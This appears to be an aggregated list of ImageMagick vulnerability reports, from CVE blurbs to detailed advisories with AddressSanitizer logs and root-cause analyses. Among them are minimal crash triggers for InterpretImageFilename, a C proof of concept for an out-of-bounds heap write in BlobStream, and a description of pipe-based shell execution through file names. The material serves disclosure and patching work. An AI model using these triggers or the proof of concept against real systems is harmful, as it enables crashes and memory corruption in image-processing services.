Buffer overflow in the EXIF parsing routine in ImageMagick before 6.1.0 allows remote attackers to execute arbitrary code via a certain image file.

All existing releases of GraphicsMagick and ImageMagick support a file open syntax where if the first character of the file specification is a '|', then the remainder of the filename is passed to the shell for execution using the POSIX popen(3C) function. File opening is handled by an OpenBlob() function in the source file blob.c. Unlike the vulnerability described by CVE-2016-3714, this functionality is supported by the core file opening function rather than a delegates subsystem usually used to execute external programs.

References:

http://seclists.org/oss-sec/2016/q2/432

A vulnerability was found in ImageMagick. This issue can allow remote code execution in OpenBlob with --enable-pipes configured.

Heap Buffer Overflow in InterpretImageFilename

Summary A heap buffer overflow was identified in the InterpretImageFilename function of ImageMagick. The issue stems from an off-by-one error that causes out-of-bounds memory access when processing format strings containing consecutive percent signs (%%).

Environment - OS: Arch Linux (Linux gmkhost 6.14.2-arch1-1 # 1 SMP PREEMPTDYNAMIC Thu, 10 Apr 2025 18:43:59 +0000 x8664 GNU/Linux (GNU libc) 2.41) - Architecture: x8664 - Compiler: gcc (GCC) 15.1.1 20250425

Reproduction

Build Instructions bash Clone the repository git clone https://github.com/ImageMagick/ImageMagick.git cd ImageMagick git reset --hard 8fff9b4f44d2e8b5cae2bd6db70930a144d15f12

Build with AddressSanitizer export CFLAGS="-fsanitize=address -g -O1" export CXXFLAGS="-fsanitize=address -g -O1" export LDFLAGS="-fsanitizer=address" ./configure make

Set library path and trigger the crash export LDLIBRARYPATH="$(pwd)/MagickWand/.libs:$(pwd)/MagickCore/.libs:$LDLIBRARYPATH" ./utilities/.libs/magick %% a

Minimum Trigger bash ./utilities/.libs/magick %% [anyoutputfilename]

Crash Analysis

AddressSanitizer Output $ ./utilities/.libs/magick %% a ================================================================= ==2227694==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7037f99e3ad3 at pc 0x741801e81a17 bp 0x7ffd22fa4e00 sp 0x7ffd22fa45b8 READ of size 1 at 0x7037f99e3ad3 thread T0 #0 0x741801e81a16 in strchr /usr/src/debug/gcc/gcc/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:746 #1 0x7418013b4f06 in InterpretImageFilename MagickCore/image.c:1674 #2 0x7418012826a3 in ReadImages MagickCore/constitute.c:1040 #3 0x741800e4696b in CLINoImageOperator MagickWand/operation.c:4959 #4 0x741800e64de7 in CLIOption MagickWand/operation.c:5473 #5 0x741800d92edf in ProcessCommandOptions MagickWand/magick-cli.c:653 #6 0x741800d94816 in MagickImageCommand MagickWand/magick-cli.c:1392 #7 0x741800d913e4 in MagickCommandGenesis MagickWand/magick-cli.c:177 #8 0x5ef7a3546638 in MagickMain utilities/magick.c:162 #9 0x5ef7a3546872 in main utilities/magick.c:193 #10 0x7417ff53f6b4 (/usr/lib/libc.so.6+0x276b4) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35) #11 0x7417ff53f768 in libcstartmain (/usr/lib/libc.so.6+0x27768) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35) #12 0x5ef7a3546204 in start (/home/kforfk/workspace/fuzzanalysis/saigen/ImageMagick/utilities/.libs/magick+0x2204) (BuildId: 96677b60628cf297eaedb3eb17b87000d29403f2)

0x7037f99e3ad3 is located 0 bytes after 3-byte region [0x7037f99e3ad0,0x7037f99e3ad3) allocated by thread T0 here: #0 0x741801f20e15 in malloc /usr/src/debug/gcc/gcc/libsanitizer/asan/asanmalloclinux.cpp:67 #1 0x7418013e86bc in AcquireMagickMemory MagickCore/memory.c:559

SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/image.c:1674 in InterpretImageFilename Shadow bytes around the buggy address: 0x7037f99e3800: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3880: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3900: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3980: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3a00: fa fa 07 fa fa fa fd fa fa fa fd fa fa fa 00 04 =>0x7037f99e3a80: fa fa 00 04 fa fa 00 00 fa fa[03]fa fa fa 03 fa 0x7037f99e3b00: fa fa 00 01 fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2227694==ABORTING

Root Cause Analysis The first command line argument is interpreted as MagickImageCommand: https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/utilities/magick.c#L83 c const CommandInfo MagickCommands[] = { MagickCommandSize("magick", MagickFalse, MagickImageCommand),

It is invoked here: https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L220 c status=command(imageinfo,argc,argv,&text,exception);

The execution then follows this path: - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L1387 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L586 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L419 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5391 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5473 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L4959 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1009 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1039 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1649 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1674

The execution eventually reaches InterpretImageFilename and enters a loop. The format variable here is "%%". At this point, it is safe to access (format + 2) but not safe to access (format + 3).

c for (p=strchr(format,'%'); p != (char ) NULL; p=strchr(p+1,'%')) { q=(char ) p+1; if (q == '%') { p=q+1; continue; }

The first strchr call returns a pointer equal to format and assigns it to p. Then q is initialized with p + 1 (format + 1), and q is '%', so the code enters the if branch. Here, p is reassigned to q + 1 (format + 2).

In the next iteration, p + 1 (format + 3) is passed to strchr, and when strchr accesses it, this causes an out-of-bounds read.

Summary

In ImageMagick's magick mogrify command, specifying multiple consecutive %d format specifiers in a filename template causes internal pointer arithmetic to generate an address below the beginning of the stack buffer, resulting in a stack overflow through vsnprintf().

Details

- Vulnerability Type: CWE-124: Buffer Underwrite - Affected Component: MagickCore/image.c - Format processing within InterpretImageFilename() - Affected Version: ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025) - CWE-124: Buffer Underwrite: A vulnerability where writing occurs to memory addresses before the beginning of a buffer. This is caused by a design flaw in fixed offset correction, resulting in negative pointer arithmetic during consecutive format specifier processing.

Reproduction

Tested Environment

- Operating System: Ubuntu 22.04 LTS - Architecture: x8664 - Compiler: gcc with AddressSanitizer (gcc version: 11.4.0)

Reproduction Steps

bash Clone source git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1 cd ImageMagick-7.1.1

Build with ASan CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install

Trigger crash ./utilities/magick mogrify %d%d

Output

plaintext ==4155==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda834caae at pc 0x7f1ea367fb27 bp 0x7ffda834b680 sp 0x7ffda834ae10 WRITE of size 2 at 0x7ffda834caae thread T0 #0 0x7f1ea367fb26 in interceptorvsnprintf ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:1668 #1 0x7f1ea2dc9e3e in FormatLocaleStringList MagickCore/locale.c:470 #2 0x7f1ea2dc9fd9 in FormatLocaleString MagickCore/locale.c:495 #3 0x7f1ea2da0ad5 in InterpretImageFilename MagickCore/image.c:1696 #4 0x7f1ea2c6126b in ReadImages MagickCore/constitute.c:1051 #5 0x7f1ea27ef29b in MogrifyImageCommand MagickWand/mogrify.c:3858 #6 0x7f1ea278e95d in MagickCommandGenesis MagickWand/magick-cli.c:177 #7 0x560813499a0c in MagickMain utilities/magick.c:153 #8 0x560813499cba in main utilities/magick.c:184 #9 0x7f1ea1c0bd8f in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #10 0x7f1ea1c0be3f in libcstartmainimpl ../csu/libc-start.c:392 #11 0x560813499404 in start (/root/workdir/ImageMagick/utilities/.libs/magick+0x2404)

Address 0x7ffda834caae is located in stack of thread T0 at offset 62 in frame #0 0x7f1ea2c60f62 in ReadImages MagickCore/constitute.c:1027

This frame has 2 object(s): [32, 40) 'images' (line 1033) [64, 4160) 'readfilename' (line 1029) <== Memory access at offset 62 underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions are supported) SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:1668 in interceptorvsnprintf Shadow bytes around the buggy address: 0x100035061900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061920: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 0x100035061930: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 0x100035061940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100035061950: f1 f1 00 f2 f2[f2]00 00 00 00 00 00 00 00 00 00 0x100035061960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100035061990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000350619a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4155==ABORTING

Affected Code

In MagickCore/image.c, within the InterpretImageFilename() function:

c MagickExport sizet InterpretImageFilename(const ImageInfo imageinfo, Image image,const char format,int value,char filename, ExceptionInfo exception) { ... for (p=strchr(format,'%'); p != (char ) NULL; p=strchr(p+1,'%')) { q=(char ) p+1; if (q == '%') { p=q+1; continue; } fieldwidth=0; if (q == '0') fieldwidth=(ssizet) strtol(q,&q,10); switch (q) { case 'd': case 'o': case 'x': { q++; c=(q); q='\0'; /--------Affected--------/ (void) FormatLocaleString(filename+(p-format-offset),(sizet) (MagickPathExtent-(p-format-offset)),p,value); offset+=(4-fieldwidth); /--------Affected--------/ q=c; (void) ConcatenateMagickString(filename,q,MagickPathExtent); canonical=MagickTrue; if ((q-1) != '%') break; p++; break; } case '[': { ... } default: break; } }

Technical Analysis

This vulnerability is caused by an inconsistency in the template expansion processing within InterpretImageFilename().

The format specifiers %d, %o, and %x in templates are replaced with integer values by FormatLocaleString(), but the output buffer position is calculated by filename + (p - format - offset).

The offset variable is cumulatively incremented to correct the output length of %d etc., but the design using a static offset += (4 - fieldwidth) causes offset to increase excessively when % specifiers are consecutive in the template, creating a dangerous state where the write destination address points before filename.

The constant 4 was likely chosen based on the character count of typical format specifiers like %03d (total of 4 characters: %, 0, 3, d). However, in reality, there are formats with only 2 characters like %d, and formats with longer width specifications (e.g., %010d), so this uniform constant-based correction is inconsistent with actual template structures.

As a result, when the correction value becomes excessive, offset exceeds the relative position p - format within the template, generating a negative index. This static and template-independent design of the correction processing is the root cause of this vulnerability.

This causes vsnprintf() to write outside the stack buffer range, which is detected by AddressSanitizer as a stack-buffer-overflow.

Reporter: Lumina Mescuwa Product: ImageMagick 7 (MagickCore) Component: MagickCore/blob.c (Blob I/O - BlobStream) Tested: 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI Impact: Heap out-of-bounds WRITE (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution

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Executive Summary

For memory-backed blobs (BlobStream), SeekBlob() permits advancing the stream offset beyond the current end without increasing capacity. The subsequent WriteBlob() then expands by quantum + length (amortized) instead of offset + length, and copies to data + offset. When offset ≫ extent, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.

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Affected Scope

- Versions confirmed: 7.1.2-0, 7.1.2-1 - Architectures: Observed on macOS arm64; architecture-agnostic on LP64 - Paths: MagickCore blob subsystem — BlobStream (SeekBlob() and WriteBlob()). - Not required: External delegates; special policies; integer wraparound

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Technical Root Cause

Types (LP64): offset: MagickOffsetType (signed 64-bit) extent/length/quantum: sizet (unsigned 64-bit) data: unsigned char

Contract mismatch:

- SeekBlob() (BlobStream) updates offset to arbitrary positions, including past end, without capacity adjustment. - WriteBlob() tests offset + length >= extent and grows by length + quantum, doubles quantum, reallocates to extent + 1, then: q = data + (sizet)offset; memmove(q, src, length); There is no guarantee that extent ≥ offset + length post-growth. With offset ≫ extent, q is beyond the allocation.

Wrap-free demonstration: Initialize extent=1, write one byte (offset=1), seek to 0x10000000 (256 MiB), then write 3–4 bytes. Growth remains << offset + length; the copy overruns the heap buffer.

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Exploitability & Reachability

- Primitive: Controlled bytes written at a controlled displacement from the buffer base. - Reachability: Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract permits it, thus creating a latent sink for first- or third-party encoders/writers. - Determinism: Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.

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Impact Assessment

- Integrity: High - adjacent object/metadata overwrite plausible. - Availability: High - reliably crashable (ASan and non-ASan). - Confidentiality: High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process. - RCE plausibility: Typical of heap OOB writes in long-lived image services; allocator/layout dependent.

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CVSS v3.1 Rationale (9.8)

- AV:N / PR:N / UI:N - server-side image processing is commonly network-reachable without auth or user action. - AC:L - a single forward seek + write suffices; no races or specialized state. - S:U - corruption localized to the ImageMagick process. - C:H / I:H / A:H - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).

Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics.

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Violated Invariant

Before copying length bytes at offset, enforce extent ≥ offset + length with overflow-checked arithmetic.

The BlobStream growth policy preserves amortized efficiency but fails to enforce this per-write safety invariant.

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Remediation (Principle)

In WriteBlob() (BlobStream case):

1. Checked requirement: need = (sizet)offset + length; → if need < (sizet)offset, overflow → fail. 2. Ensure capacity ≥ need: target = MagickMax(extent + quantum + length, need); (Optionally loop, doubling quantum, until extent ≥ need to preserve amortization.) 3. Reallocate to target + 1 before copying; then perform the move.

Companion hardening (recommended):

- Document or restrict SeekBlob() on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant. - Centralize blob arithmetic in checked helpers. - Unit tests: forward-seek-then-write (success and overflow-reject).

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Regression & Compatibility

- Behavior change: Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail). - Memory profile: Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.

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Vendor Verification Checklist

- Reproduce with a minimal in-memory BlobStream harness under ASan. - Apply fix; verify extent ≥ offset + length at all write sites. - Add forward-seek test cases (positive/negative). - Audit other growth sites (SetBlobExtent, stream helpers). - Clarify BlobStream seek semantics in documentation. - Unit test: forward seek to large offset on BlobStream followed by 1–8 byte writes; assert either growth to need or clean failure.

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PoC / Reproduction / Notes

Environment

- OS/Arch: macOS 14 (arm64) - Compiler: clang-17 with AddressSanitizer - ImageMagick: Q16-HDRI - Prefix: ~/opt/im-7.1.2-0 - pkg-config: from PATH (no hard-coded /usr/local/...)

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Build ImageMagick 7.1.2-0 (static, minimal)

bash ./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \ --disable-shared --enable-static --without-modules \ --without-magick-plus-plus --disable-openmp --without-perl \ --without-x --without-lqr --without-gslib

make -j"$(sysctl -n hw.ncpu)" make install

"$HOME/opt/im-7.1.2-0/bin/magick" -version > magickversion.txt

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Build & Run the PoC (memory-backed BlobStream)

poc.c: Uses private headers (blob-private.h) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage.

c // poc.c

#include <stdio.h>

#include <stdlib.h>

#include <MagickCore/MagickCore.h>

#include <MagickCore/blob.h>

#include "MagickCore/blob-private.h"

int main(int argc, char argv) {

MagickCoreGenesis(argv[0], MagickTrue);

ExceptionInfo e = AcquireExceptionInfo();

ImageInfo ii = AcquireImageInfo();

Image im = AcquireImage(ii, e);

if (!im) return 1;

// 1-byte memory blob → BlobStream

unsigned char buf = (unsigned char) malloc(1);

buf[0] = 0x41;

AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0

SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf

// Step 1: write 1 byte (creates BlobInfo + sets offset=1)

unsigned char A = 0x42;

(void) WriteBlob(im, 1, &A);

fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",

(long long) TellBlob(im), (sizet) GetBlobSize(im));

// Step 2: seek way past end without growing capacity

const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB

(void) SeekBlob(im, big, SEEKSET);

fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",

(long long) TellBlob(im), (sizet) GetBlobSize(im));

// Step 3: small write → reallocation grows by quantum+length, not to offset+length

// memcpy then writes to data + offset (OOB)

const unsigned char payload[] = "PWN";

(void) WriteBlob(im, sizeof(payload), payload);

// If we get here, it didn't crash

fprintf(stderr, "[-] no crash; check ASan flags.\n");

(void) CloseBlob(im);

DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);

MagickCoreTerminus();

return 0;

}

---

run:

bash Use the private prefix for pkg-config export PKGCONFIGPATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKGCONFIGPATH"

Strict ASan for crisp failure export ASANOPTIONS='haltonerror=1:abortonerror=1:detectleaks=0:fastunwindonmalloc=0'

Compile (static link pulls transitive deps via --static) clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \ $(pkg-config --cflags MagickCore-7.Q16HDRI) \ $(pkg-config --static --libs MagickCore-7.Q16HDRI)

Execute and capture ./poc 2>&1 | tee asan.log

Expected markers prior to the fault:

[+] after 1 byte: off=1 len=1 [+] after seek: off=268435456 len=1

An ASan WRITE crash in WriteBlob follows (top frames: WriteBlob blob.c:<line>, then platformmemmove / sanitizerinternalmemmove).

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Debugger Verification (manual)

LLDB can be used to snapshot the invariants; ASan alone is sufficient.

lldb ./poc (lldb) settings set use-color false (lldb) break set -n WriteBlob (lldb) run

First stop (prime write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) continue

Second stop (post-seek write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length (lldb) expr -- (void)((unsigned char)image->blob->data + (sizet)image->blob->offset)

Into the fault; if inside memmove (no locals): (lldb) bt (lldb) frame select 1 (lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum

Expected at second stop: type = BlobStream · offset ≈ 0x10000000 (256 MiB) · length ≈ 3–4 · extent ≈ 64 KiB (≪ offset + length) · quantum ≈ 128 KiB · mapped = MagickFalse · data + offset far beyond base; next continue crashes in platformmemmove. ---

Credits

Reported by: Lumina Mescuwa

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ImageMagick is free and open-source software used for editing and manipulating digital images. The BilateralBlurImage method will allocate a set of double buffers inside AcquireBilateralTLS. But, in versions prior to 7.1.2-13, the last element in the set is not properly initialized. This will result in a release of an invalid pointer inside DestroyBilateralTLS when the memory allocation fails. Version 7.1.2-13 contains a patch for the issue.

ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-13 and 6.9.13-38, a heap buffer overflow vulnerability in the XBM image decoder (ReadXBMImage) allows an attacker to write controlled data past the allocated heap buffer when processing a maliciously crafted image file. Any operation that reads or identifies an image can trigger the overflow, making it exploitable via common image upload and processing pipelines. Versions 7.1.2-13 and 6.9.13-38 fix the issue.

A crafted MSL script triggers a heap-use-after-free. The operation element handler replaces and frees the image while the parser continues reading from it, leading to a UAF in ReadBlobString during further parsing.

A heap buffer overflow write vulnerability exists in ReadYUVImage() (coders/yuv.c) when processing malicious YUV 4:2:2 (NoInterlace) images. The pixel-pair loop writes one pixel beyond the allocated row buffer.

================================================================= ==204642==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5170000002e0 at pc 0x562d21a7e8de bp 0x7fffa9ae1270 sp 0x7fffa9ae1260 WRITE of size 8 at 0x5170000002e0 thread T0

Summary Magick fails to check for circular references between two MSLs, leading to a stack overflow.

Details After reading a.msl using magick, the following is displayed:

MSLStartElement -> ReadImage -> ReadMSLImage -> ProcessMSLScript -> xmlParseChunk -> xmlParseTryOrFinish -> MSLStartElement

bash AddressSanitizer:DEADLYSIGNAL ================================================================= ==114345==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x72509fc7d804 bp 0x7ffd6598b390 sp 0x7ffd6598ab20 T0) #0 0x72509fc7d804 in strlen ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:388 [...]

A stack buffer overflow occurs when processing the an attribute in msl.c. A long value overflows a fixed-size stack buffer, leading to memory corruption.

================================================================= ==278522==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdb8c76984 at pc 0x55a4bf16f507 bp 0x7ffdb8c75bc0 sp 0x7ffdb8c75bb0 WRITE of size 1 at 0x7ffdb8c76984 thread T0

An Integer Overflow vulnerability exists in the sun decoder. On 32-bit systems/builds, a carefully crafted image can lead to an out of bounds heap write.

================================================================= ==1967675==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf190b50e at pc 0x5eae8777 bp 0xffb0fdd8 sp 0xffb0fdd0 WRITE of size 1 at 0xf190b50e thread T0

Last updated 25 August 2025

ImageMagick 7.0.6-5 has a memory leak vulnerability in ReadWEBPImage in coders/webp.c because memory is not freed in certain error cases, as demonstrated by VP8 errors.

ImageMagick 7.0.7-0 Q16 has a NULL Pointer Dereference vulnerability i ...

In ImageMagick before 6.9.9-0 and 7.x before 7.0.6-1, the ReadOneMNGIm ...

Fixed boundary checks in DecodePSDPixels.

CVE assignment:

http://seclists.org/oss-sec/2016/q2/459

Upstream patch:

https://anonscm.debian.org/cgit/collab-maint/imagemagick.git/commit/?h=debian-patches/6.8.9.9-4-for-upstream&id=b8df15144d91a19ed545893ea492363635a1cb29

Fixed throwing of exceptions in psd handling.

CVE assignment:

http://seclists.org/oss-sec/2016/q2/459

Upstream patch:

https://anonscm.debian.org/cgit/collab-maint/imagemagick.git/commit/?h=debian-patches/6.8.9.9-4-for-upstream&id=f9ef11671c41da4cf973d0d880af1cdfbd127860

Added checks to prevent overflow in rle file.

CVE assignment:

http://seclists.org/oss-sec/2016/q2/459

Upstream patch:

https://anonscm.debian.org/cgit/collab-maint/imagemagick.git/commit/?h=debian-patches/6.8.9.9-4-for-upstream&id=2d90693af41a363a988a9db3a91a15f9ca7c7370

In ImageMagick 7.0.7, a NULL pointer dereference vulnerability was fou ...

ImageMagick before 6.9.9-24 and 7.x before 7.0.7-12 has a use-after-fr ...

ImageMagick version 7.0.7-2 contains a memory leak in ReadYCBCRImage in coders/ycbcr.c.

ImageMagick 7.0.7-0 has a NULL Pointer Dereference in TIFFIgnoreTags in coders/tiff.c.

ImageMagick 7.0.7-0 Q16 has a NULL Pointer Dereference vulnerability i ...

ImageMagick 7.0.7-0 Q16 has a NULL Pointer Dereference vulnerability i ...

coders/psd.c in ImageMagick allows remote attackers to have unspecified impact by leveraging an improper cast, which triggers a heap-based buffer overflow.

The DCM reader in ImageMagick before 6.9.4-5 and 7.x before 7.0.1-7 allows remote attackers to have unspecified impact by leveraging lack of NULL pointer checks.

The DCM reader in ImageMagick before 6.9.4-5 and 7.x before 7.0.1-7 allows remote attackers to have unspecified impact by leveraging lack of validation of (1) pixel.red, (2) pixel.green, and (3) pixel.blue.

ImageMagick is vulnerable to a heap-based buffer overflow, caused by a flaw in the WriteSGIImage function in coders/sgi.c. By persuading a victim to open a specially-crafted file, a remote attacker could overflow a buffer and execute arbitrary code on the system.